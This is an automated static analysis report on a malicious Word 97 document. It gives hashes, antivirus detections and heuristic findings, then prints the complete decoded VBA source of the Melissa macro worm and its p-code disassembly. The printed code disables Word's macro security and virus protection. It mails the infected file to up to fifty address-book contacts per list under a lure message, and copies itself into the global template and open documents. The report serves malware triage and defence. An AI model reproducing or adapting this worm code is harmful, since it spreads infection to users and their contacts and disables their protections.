Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 9fd01d3733a42b2a…

MALICIOUS

Office (OLE)

32.5 KB Created: 1999-12-17 12:16:00 Authoring application: Microsoft Word 8.0 First seen: 2014-03-22
MD5: fcfc07fd78abe990ee11bed461e843af SHA-1: 148b49d632b5c43c4d4d9fbf953208c33039584c SHA-256: 9fd01d3733a42b2a99f94edde50245e0723ae4867b6c533ba919f618aaa20bf1
308 Risk Score

Heuristics 6

  • ClamAV: Win.Trojan.Psycho-3 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Psycho-3
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    ADI1.CodeModule.DeleteLines 1, ADCL
  • VBA email-worm self-replication (Outlook mass-mailer) critical OLE_VBA_EMAIL_WORM_SELF_REPLICATION
    VBA macro drives Outlook to mass-mail itself: it automates Outlook.Application, programmatically creates a mail item, and spreads by harvests recipients from the MAPI address book / inbox, attaches a file to the outgoing message, sends the message programmatically. Harvesting recipients from the address book / inbox and auto-attaching the carrier to outgoing messages is the defining behavior of the Melissa / LoveLetter / W97M mass-mailer worm lineage — there is no benign document use, independent of any AV signature.
    Matched line in script
            Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set UngaDasOutlook = CreateObject("Outlook.Application")
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 12810 bytes
SHA-256: ca68b8eb890653f254e07a88fc56b73657b4db5c7c1c4f4b830642ae5f9fa3e2
Detection
ClamAV: Doc.Trojan.Melissa-4
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Melissa"
Attribute VB_Base = "1Normal.Melissa"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
On Error Resume Next
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") <> "" Then
CommandBars("Macro").Controls("Security...").Enabled = False
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&
Else
CommandBars("Tools").Controls("Macro").Enabled = False
Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1): Options.SaveNormalPrompt = (1 - 1)
End If
Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice
Set UngaDasOutlook = CreateObject("Outlook.Application")
Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") <> "... by Kwyjibo" Then
If UngaDasOutlook = "Outlook" Then
DasMapiName.Logon "profile", "password"
    For y = 1 To DasMapiName.AddressLists.Count
        Set AddyBook = DasMapiName.AddressLists(y)
        x = 1
        Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
        For oo = 1 To AddyBook.AddressEntries.Count
            Peep = AddyBook.AddressEntries(x)
            BreakUmOffASlice.Recipients.Add Peep
            x = x + 1
            If x > 50 Then oo = AddyBook.AddressEntries.Count
         Next oo
         BreakUmOffASlice.Subject = "Important Message From " & Application.UserName
         BreakUmOffASlice.Body = "Here is that document you asked for ... don't show anyone else ;-)"
         BreakUmOffASlice.Attachments.Add ActiveDocument.FullName
         BreakUmOffASlice.Send
         Peep = ""
    Next y
DasMapiName.Logoff
End If
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") = "... by Kwyjibo"
End If
Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(1)
Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1)
NTCL = NTI1.CodeModule.CountOfLines
ADCL = ADI1.CodeModule.CountOfLines
BGN = 2
If ADI1.Name <> "Melissa" Then
If ADCL > 0 Then _
ADI1.CodeModule.DeleteLines 1, ADCL
Set ToInfect = ADI1
ADI1.Name = "Melissa"
DoAD = True
End If
If NTI1.Name <> "Melissa" Then
If NTCL > 0 Then _
NTI1.CodeModule.DeleteLines 1, NTCL
Set ToInfect = NTI1
NTI1.Name = "Melissa"
DoNT = True
End If
If DoNT <> True And DoAD <> True Then GoTo CYA
If DoNT = True Then
Do While ADI1.CodeModule.Lines(1, 1) = ""
ADI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString ("Private Sub Document_Close()")
Do While ADI1.CodeModule.Lines(BGN, 1) <> ""
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If
If DoAD = True Then
Do While NTI1.CodeModule.Lines(1, 1) = ""
NTI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString ("Private Sub Document_Open()")
Do While NTI1.CodeModule.Lines(BGN, 1) <> ""
ToInfect.CodeModule.InsertLines BGN, NTI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If
CYA:
If NTCL <> 0 And ADCL = 0 And (InStr(1, ActiveDocument.Name, "Document") = False) Then
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
ElseIf (InStr(1, ActiveDocument.Name, "Document") <> False) Then
ActiveDocument.Saved = True: End If
'WORD/Melissa written by Kwyjibo
'Works in both Word 2000 and Word 97
'Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide!
'Word -> Email | Word 97 <--> Word 2000 ... it's a new age!
If Day(Now) = Minute(Now) Then Selection.TypeText " Twenty-two points, plus triple-word-score, plus fifty points for using all my letters.  Game's over.  I'm outta here."
End Sub


' Processing file: /opt/analyzer/scan_staging/910adf91bbad4a07b8f762740e083c9a.bin
' ===============================================================================
' Module streams:
' Mac  s/VBA/Melissa - 6327 bytes
' Line #0:
' 	FuncDefn (Private Sub Document_Open())
' Line #1:
' 	OnError (Resume Next) 
' Line #2:
' 	LitStr 0x0000 ""
' 	LitStr 0x003D "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security"
' 	LitStr 0x0005 "Level"
' 	Ld System 
' 	ArgsMemLd PrivateProfileString 0x0003 
' 	LitStr 0x0000 ""
' 	Ne 
' 	IfBlock 
' Line #3:
' 	LitVarSpecial (False)
' 	LitStr 0x000B "Security..."
' 	LitStr 0x0005 "Macro"
' 	ArgsLd CommandBars 0x0001 
' 	ArgsMemLd Controls 0x0001 
' 	MemSt Enabled 
' Line #4:
' 	LitDI4 0x0001 0x0000 
' 	LitStr 0x0000 ""
' 	LitStr 0x003D "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security"
' 	LitStr 0x0005 "Level"
' 	Ld System 
' 	ArgsMemSt PrivateProfileString 0x0003 
' Line #5:
' 	ElseBlock 
' Line #6:
' 	LitVarSpecial (False)
' 	LitStr 0x0005 "Macro"
' 	LitStr 0x0005 "Tools"
' 	ArgsLd CommandBars 0x0001 
' 	ArgsMemLd Controls 0x0001 
' 	MemSt Enabled 
' Line #7:
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	Sub 
' 	Paren 
' 	Ld Options 
' 	MemSt ConfirmConversions 
' 	BoS 0x0000 
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	Sub 
' 	Paren 
' 	Ld Options 
' 	MemSt VirusProtection 
' 	BoS 0x0000 
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	Sub 
' 	Paren 
' 	Ld Options 
' 	MemSt SaveNormalPrompt 
' Line #8:
' 	EndIfBlock 
' Line #9:
' 	Dim 
' 	VarDefn UngaDasOutlook
' 	VarDefn DasMapiName
' 	VarDefn BreakUmOffASlice
' Line #10:
' 	SetStmt 
' 	LitStr 0x0013 "Outlook.Application"
' 	ArgsLd CreateObject 0x0001 
' 	Set UngaDasOutlook 
' Line #11:
' 	SetStmt 
' 	LitStr 0x0004 "MAPI"
' 	Ld UngaDasOutlook 
' 	ArgsMemLd GetNameSpace 0x0001 
' 	Set DasMapiName 
' Line #12:
' 	LitStr 0x0000 ""
' 	LitStr 0x002C "HKEY_CURRENT_USER\Software\Microsoft\Office\"
' 	LitStr 0x0008 "Melissa?"
' 	Ld System 
' 	ArgsMemLd PrivateProfileString 0x0003 
' 	LitStr 0x000E "... by Kwyjibo"
' 	Ne 
' 	IfBlock 
' Line #13:
' 	Ld UngaDasOutlook 
' 	LitStr 0x0007 "Outlook"
' 	Eq 
' 	IfBlock 
' Line #14:
' 	LitStr 0x0007 "profile"
' 	LitStr 0x0008 "password"
' 	Ld DasMapiName 
' 	ArgsMemCall Logon 0x0002 
' Line #15:
' 	StartForVariable 
' 	Ld y 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld DasMapiName 
' 	MemLd AddressLists 
' 	MemLd Count 
' 	For 
' Line #16:
' 	SetStmt 
' 	Ld y 
' 	Ld DasMapiName 
' 	ArgsMemLd AddressLists 0x0001 
' 	Set AddyBook 
' Line #17:
' 	LitDI2 0x0001 
' 	St x 
' Line #18:
' 	SetStmt 
' 	LitDI2 0x0000 
' 	Ld UngaDasOutlook 
' 	ArgsMemLd CreateItem 0x0001 
' 	Set BreakUmOffASlice 
' Line #19:
' 	StartForVariable 
' 	Ld oo 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld AddyBook 
' 	MemLd AddressEntries 
' 	MemLd Count 
' 	For 
' Line #20:
' 	Ld x 
' 	Ld AddyBook 
' 	ArgsMemLd AddressEntries 0x0001 
' 	St Peep 
' Line #21:
' 	Ld Peep 
' 	Ld BreakUmOffASlice 
' 	MemLd Recipients 
' 	ArgsMemCall Add 0x0001 
' Line #22:
' 	Ld x 
' 	LitDI2 0x0001 
' 	Add 
' 	St x 
' Line #23:
' 	Ld x 
' 	LitDI2 0x0032 
' 	Gt 
' 	If 
' 	BoSImplicit 
' 	Ld AddyBook 
' 	MemLd AddressEntries 
' 	MemLd Count 
' 	St oo 
' 	EndIf 
' Line #24:
' 	StartForVariable 
' 	Ld oo 
' 	EndForVariable 
' 	NextVar 
' Line #25:
' 	LitStr 0x0017 "Important Message From "
' 	Ld Application 
' 	MemLd UserName 
' 	Concat 
' 	Ld BreakUmOffASlice 
' 	MemSt Subject 
' Line #26:
' 	LitStr 0x0042 "Here is that document you asked for ... don't show anyone else ;-)"
' 	Ld BreakUmOffASlice 
' 	MemSt Body 
' Line #27:
' 	Ld ActiveDocument 
' 	MemLd FullName 
' 	Ld BreakUmOffASlice 
' 	MemLd Attachments 
' 	ArgsMemCall Add 0x0001 
' Line #28:
' 	Ld BreakUmOffASlice 
' 	ArgsMemCall Send 0x0000 
' Line #29:
' 	LitStr 0x0000 ""
' 	St Peep 
' Line #30:
' 	StartForVariable 
' 	Ld y 
' 	EndForVariable 
' 	NextVar 
' Line #31:
' 	Ld DasMapiName 
' 	ArgsMemCall Logoff 0x0000 
' Line #32:
' 	EndIfBlock 
' Line #33:
' 	LitStr 0x000E "... by Kwyjibo"
' 	LitStr 0x0000 ""
' 	LitStr 0x002C "HKEY_CURRENT_USER\Software\Microsoft\Office\"
' 	LitStr 0x0008 "Melissa?"
' 	Ld System 
' 	ArgsMemSt PrivateProfileString 0x0003 
' Line #34:
' 	EndIfBlock 
' Line #35:
' 	SetStmt 
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	Set ADI1 
' Line #36:
' 	SetStmt 
' 	LitDI2 0x0001 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	Set NTI1 
' Line #37:
' 	Ld NTI1 
' 	MemLd CodeModule 
' 	MemLd CountOfLines 
' 	St NTCL 
' Line #38:
' 	Ld ADI1 
' 	MemLd CodeModule 
' 	MemLd CountOfLines 
' 	St ADCL 
' Line #39:
' 	LitDI2 0x0002 
' 	St BGN 
' Line #40:
' 	Ld ADI1 
' 	MemLd New 
' 	LitStr 0x0007 "Melissa"
' 	Ne 
' 	IfBlock 
' Line #41:
' 	LineCont 0x0004 05 00 00 00
' 	Ld ADCL 
' 	LitDI2 0x0000 
' 	Gt 
' 	If 
' 	BoSImplicit 
' 	LitDI2 0x0001 
' 	Ld ADCL 
' 	Ld ADI1 
' 	MemLd CodeModule 
' 	ArgsMemCall DeleteLines 0x0002 
' 	EndIf 
' Line #42:
' 	SetStmt 
' 	Ld ADI1 
' 	Set ToInfect 
' Line #43:
' 	LitStr 0x0007 "Melissa"
' 	Ld ADI1 
' 	MemSt New 
' Line #44:
' 	LitVarSpecial (True)
' 	St DoAD 
' Line #45:
' 	EndIfBlock 
' Line #46:
' 	Ld NTI1 
' 	MemLd New 
' 	LitStr 0x0007 "Melissa"
' 	Ne 
' 	IfBlock 
' Line #47:
' 	LineCont 0x0004 05 00 00 00
' 	Ld NTCL 
' 	LitDI2 0x0000 
' 	Gt 
' 	If 
' 	BoSImplicit 
' 	LitDI2 0x0001 
' 	Ld NTCL 
' 	Ld NTI1 
' 	MemLd CodeModule 
' 	ArgsMemCall DeleteLines 0x0002 
' 	EndIf 
' Line #48:
' 	SetStmt 
' 	Ld NTI1 
' 	Set ToInfect 
' Line #49:
' 	LitStr 0x0007 "Melissa"
' 	Ld NTI1 
' 	MemSt New 
' Line #50:
' 	LitVarSpecial (True)
' 	St DoNT 
' Line #51:
' 	EndIfBlock 
' Line #52:
' 	Ld DoNT 
' 	LitVarSpecial (True)
' 	Ne 
' 	Ld DoAD 
' 	LitVarSpecial (True)
' 	Ne 
' 	And 
' 	If 
' 	BoSImplicit 
' 	GoTo CYA 
' 	EndIf 
' Line #53:
' 	Ld DoNT 
' 	LitVarSpecial (True)
' 	Eq 
' 	IfBlock 
' Line #54:
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	Ld ADI1 
' 	MemLd CodeModule 
' 	ArgsMemLd Lines 0x0002 
' 	LitStr 0x0000 ""
' 	Eq 
' 	DoWhile 
' Line #55:
' 	LitDI2 0x0001 
' 	Ld ADI1 
' 	MemLd CodeModule 
' 	ArgsMemCall DeleteLines 0x0001 
' Line #56:
' 	Loop 
' Line #57:
' 	LitStr 0x001C "Private Sub Document_Close()"
' 	Paren 
' 	Ld ToInfect 
' 	MemLd CodeModule 
' 	ArgsMemCall AddFromString 0x0001 
' Line #58:
' 	Ld BGN 
' 	LitDI2 0x0001 
' 	Ld ADI1 
' 	MemLd CodeModule 
' 	ArgsMemLd Lines 0x0002 
' 	LitStr 0x0000 ""
' 	Ne 
' 	DoWhile 
' Line #59:
' 	Ld BGN 
' 	Ld BGN 
' 	LitDI2 0x0001 
' 	Ld ADI1 
' 	MemLd CodeModule 
' 	ArgsMemLd Lines 0x0002 
' 	Ld ToInfect 
' 	MemLd CodeModule 
' 	ArgsMemCall InsertLines 0x0002 
' Line #60:
' 	Ld BGN 
' 	LitDI2 0x0001 
' 	Add 
' 	St BGN 
' Line #61:
' 	Loop 
' Line #62:
' 	EndIfBlock 
' Line #63:
' 	Ld DoAD 
' 	LitVarSpecial (True)
' 	Eq 
' 	IfBlock 
' Line #64:
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	Ld NTI1 
' 	MemLd CodeModule 
' 	ArgsMemLd Lines 0x0002 
' 	LitStr 0x0000 ""
' 	Eq 
' 	DoWhile 
' Line #65:
' 	LitDI2 0x0001 
' 	Ld NTI1 
' 	MemLd CodeModule 
' 	ArgsMemCall DeleteLines 0x0001 
' Line #66:
' 	Loop 
' Line #67:
' 	LitStr 0x001B "Private Sub Document_Open()"
' 	Paren 
' 	Ld ToInfect 
' 	MemLd CodeModule 
' 	ArgsMemCall AddFromString 0x0001 
' Line #68:
' 	Ld BGN 
' 	LitDI2 0x0001 
' 	Ld NTI1 
' 	MemLd CodeModule 
' 	ArgsMemLd Lines 0x0002 
' 	LitStr 0x0000 ""
' 	Ne 
' 	DoWhile 
' Line #69:
' 	Ld BGN 
' 	Ld BGN 
' 	LitDI2 0x0001 
' 	Ld NTI1 
' 	MemLd CodeModule 
' 	ArgsMemLd Lines 0x0002 
' 	Ld ToInfect 
' 	MemLd CodeModule 
' 	ArgsMemCall InsertLines 0x0002 
' Line #70:
' 	Ld BGN 
' 	LitDI2 0x0001 
' 	Add 
' 	St BGN 
' Line #71:
' 	Loop 
' Line #72:
' 	EndIfBlock 
' Line #73:
' 	Label CYA 
' Line #74:
' 	Ld NTCL 
' 	LitDI2 0x0000 
' 	Ne 
' 	Ld ADCL 
' 	LitDI2 0x0000 
' 	Eq 
' 	And 
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd New 
' 	LitStr 0x0008 "Document"
' 	FnInStr3 
' 	LitVarSpecial (False)
' 	Eq 
' 	Paren 
' 	And 
' 	IfBlock 
' Line #75:
' 	Ld ActiveDocument 
' 	MemLd FullName 
' 	ParamNamed FileName 
' 	Ld ActiveDocument 
' 	ArgsMemCall SaveAs 0x0001 
' Line #76:
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd New 
' 	LitStr 0x0008 "Document"
' 	FnInStr3 
' 	LitVarSpecial (False)
' 	Ne 
' 	Paren 
' 	ElseIfBlock 
' Line #77:
' 	LitVarSpecial (True)
' 	Ld ActiveDocument 
' 	MemSt Saved 
' 	BoS 0x0000 
' 	EndIfBlock 
' Line #78:
' 	QuoteRem 0x0000 0x001F "WORD/Melissa written by Kwyjibo"
' Line #79:
' 	QuoteRem 0x0000 0x0023 "Works in both Word 2000 and Word 97"
' Line #80:
' 	QuoteRem 0x0000 0x003E "Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide!"
' Line #81:
' 	QuoteRem 0x0000 0x003A "Word -> Email | Word 97 <--> Word 2000 ... it's a new age!"
' Line #82:
' 	Ld Now 
' 	ArgsLd Day 0x0001 
' 	Ld Now 
' 	ArgsLd Minute 0x0001 
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	LitStr 0x0076 " Twenty-two points, plus triple-word-score, plus fifty points for using all my letters.  Game's over.  I'm outta here."
' 	Ld Selection 
' 	ArgsMemCall TypeText 0x0001 
' 	EndIf 
' Line #83:
' 	EndSub 
' Line #84:

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